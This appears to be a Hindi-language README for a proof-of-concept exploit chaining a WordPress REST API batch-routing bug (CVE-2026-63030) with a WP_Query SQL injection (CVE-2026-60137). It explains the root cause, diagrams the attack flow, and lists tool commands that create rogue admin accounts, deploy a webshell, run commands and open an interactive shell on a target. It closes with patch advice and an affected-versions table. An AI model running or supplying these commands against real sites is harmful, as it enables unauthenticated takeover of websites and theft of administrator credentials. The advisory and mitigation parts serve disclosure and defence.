
WordPress REST API SQLi से RCE PoC (CVE-2026-63030 और CVE-2026-60137)
TL;DR — एक अप्रमाणित हमलावर WordPress REST API बैच-रूटिंग बग को
WP_Queryमें SQL इंजेक्शन के साथ जोड़कर एक सामान्य WordPress स्थापना पर पूर्ण दूरस्थ कोड निष्पादन (RCE) प्राप्त कर सकता है — बिना प्लगइन, बिना खाता, बिना उपयोगकर्ता इंटरैक्शन के। इसकी खोज Adam Kues (Assetnote / Searchlight Cyber) ने की, जिन्होंने इसे wp2shell नाम दिया। 6.9.5, 7.0.2, और 6.8.6 में 17 जुलाई, 2026 को पैच किया गया।
CVE-2026-63030 WordPress Core के REST API बैच एंडपॉइंट (/wp-json/batch/v1) का एक त्रुटि प्रबंधन है जिसमें असफल उप-अनुरोधों को इस हद तक गलत तरीके से संभाला जाता है कि बाद का उप-अनुरोध गलत रूट पर भेज दिया जाता है। अपने आप में, यह एक तार्किक बग है। CVE-2026-60137 — WP_Query के author__not_in पैरामीटर में SQL इंजेक्शन — के साथ जंजीर होने पर यह अप्रमाणित दूरस्थ कोड निष्पादन बन जाता है।
WordPress CVE-2026-63030 को गंभीर और CVE-2026-60137 को उच्च दर्जा देता है; तृतीय-पक्ष CVSS अनुमान ट्रैकर के अनुसार भिन्न होते हैं (लगभग क्रमशः 7.5 और 9.1), क्योंकि कोई भी एकल स्कोर पूरी तरह से यह नहीं दर्शाता कि श्रृंखला क्या करती है। इसे गंभीर मानें, चाहे आपको कोई भी एकल संख्या दिखाई जाए — WordPress ने इसे इतना गंभीर माना कि प्रभावित प्रत्येक साइट पर स्वचालित अपडेट लागू कर दिया।
मूल कारण — बैच बुककीपिंग डिसिंक। जब बैच में कोई उप-अनुरोध सत्यापन में विफल होता है, तो परिणामी WP_Error को एक आंतरिक $validation[] सरणी में दर्ज किया जाता है — लेकिन रूटिंग के लिए उपयोग की जाने वाली समानांतर $matches[] सरणी को मिलान करने के लिए अपडेट नहीं किया जाता है। यह एक-आइटम अंतर प्रत्येक बाद के उप-अनुरोध को एक स्थान से स्थानांतरित कर देता है: उप-अनुरोध N उस रूट हैंडलर का उपयोग करके भेजा जाता है जो उप-अनुरोध N+1 के लिए अभिप्रेत था।
सैनिटाइज़ेशन बाईपास। जिस हैंडलर के तहत इसे कभी रूट नहीं किया गया था, उसके तहत चलने पर, उप-अनुरोध उस हैंडलर के स्वयं के इनपुट सत्यापन को छोड़ देता है — जिसमें प्रकार और is_array() जांच शामिल हैं।
SQL इंजेक्शन। वह अंतर हमलावर-नियंत्रित इनपुट को WP_Query के author__not_in पैरामीटर तक एक सरणी के बजाय कच्ची स्ट्रिंग के रूप में पहुंचने देता है। is_array() गार्ड जो सामान्यतः इसे अस्वीकार करता है, वह कभी नहीं चलता, इसलिए मान सीधे NOT IN (...) क्लॉज़ में अंतर्निहित हो जाता है।
समझौता करने का मार्ग। इंजेक्शन केवल SELECT है — कोई स्टैक्ड क्वेरी नहीं — लेकिन उन होस्टों पर जहां डेटाबेस उपयोगकर्ता के पास FILE विशेषाधिकार है, यह वेब रूट में PHP वेबशेल लिखने के लिए पर्याप्त है। जहां यह उपलब्ध नहीं है, वहां वही इंजेक्शन बिंदु इसके बजाय व्यवस्थापक पासवर्ड हैश के लिए wp_users तालिका को ब्लाइंड/UNION-डंप कर सकता है। किसी भी तरह: कोई खाता, कोई प्लगइन, कोई उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं है।
sequenceDiagram
participant A as Attacker
participant B as Batch Handler
participant Q as WP_Query
participant D as MySQL
A->>B: POST /wp-json/batch/v1 (crafted multi-request batch)
Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one
B->>B: Sub-request N dispatched with sub-request N+1's route handler
Note over B: Wrong handler context — that route's input validation never runs
B->>Q: author__not_in passed as raw string, not array
Note over Q: is_array() guard skipped
Q->>D: SELECT ... WHERE post_author NOT IN (attacker string)
alt DB user has FILE privilege
D-->>A: Writes PHP webshell to web root → RCE
else No FILE privilege
D-->>A: Blind/UNION injection dumps admin password hashes
end
git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt
python3 CVE-2026-63030.py -t https://target.com --test
# Auto-generate credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin
# Custom credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
# Auto-create admin, deploy shell, execute single command
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"
# Interactive shell mode
python3 CVE-2026-63030.py -t https://target.com --shell -i
# Use existing credentials
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
# Cleanup after shell session
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup
# Cleanup only (requires shell URL from previous session)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
-U created_admin -P password \
--shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
# Use proxy
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080
# Custom timeout
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60
GHSA-ff9f-jf42-662q (रूट कन्फ्यूजन) · GHSA-fpp7-x2x2-2mjf (SQLi)CVE-2026-63030) — Assetnote / Searchlight Cyber के Adam Kues द्वारा WordPress के HackerOne कार्यक्रम के माध्यम से रिपोर्ट किया गया।CVE-2026-60137) — TF1T, dtro, और haongo द्वारा एक टीम के रूप में अलग से रिपोर्ट किया गया।6.9.5, 7.0.2, 6.8.6 या बाद में — एकमात्र पूर्ण फिक्स। WordPress ने प्रभावित साइटों के लिए बलपूर्वक स्वचालित अपडेट सक्षम किए; यह मानने के बजाय पुष्टि करें कि आपका वास्तव में लागू हुआ।/wp-json/batch/v1 और ?rest_route=/batch/v1 दोनों को ब्लॉक करें। केवल आपातकालीन उपाय — यह वैध बैच API उपयोग (जैसे ब्लॉक-आधारित संपादन) को तोड़ सकता है और पैचिंग का विकल्प नहीं है।| WordPress संस्करण | SQLi (CVE-2026-60137) | रूट कन्फ्यूजन (CVE-2026-63030) | वास्तविक दुनिया का जोखिम |
|---|
| < 6.8.0 | — | — | प्रभावित नहीं |
| 6.8.0 – 6.8.5 | ✅ | — | केवल SQLi — इसे author__not_in में अविश्वसनीय इनपुट पास करने के लिए प्लगइन/थीम की आवश्यकता है; अकेले कोर पर प्री-प्रमाणीकरण से पहुंच योग्य नहीं। फिर भी पैच करें। |
| 6.9.0 – 6.9.4 | ✅ | ✅ | अप्रमाणित RCE |
| 7.0.0 – 7.0.1 | ✅ | ✅ | अप्रमाणित RCE |
| 7.1 बीटा 1 | ✅ | ✅ | अप्रमाणित RCE (बीटा चैनल) |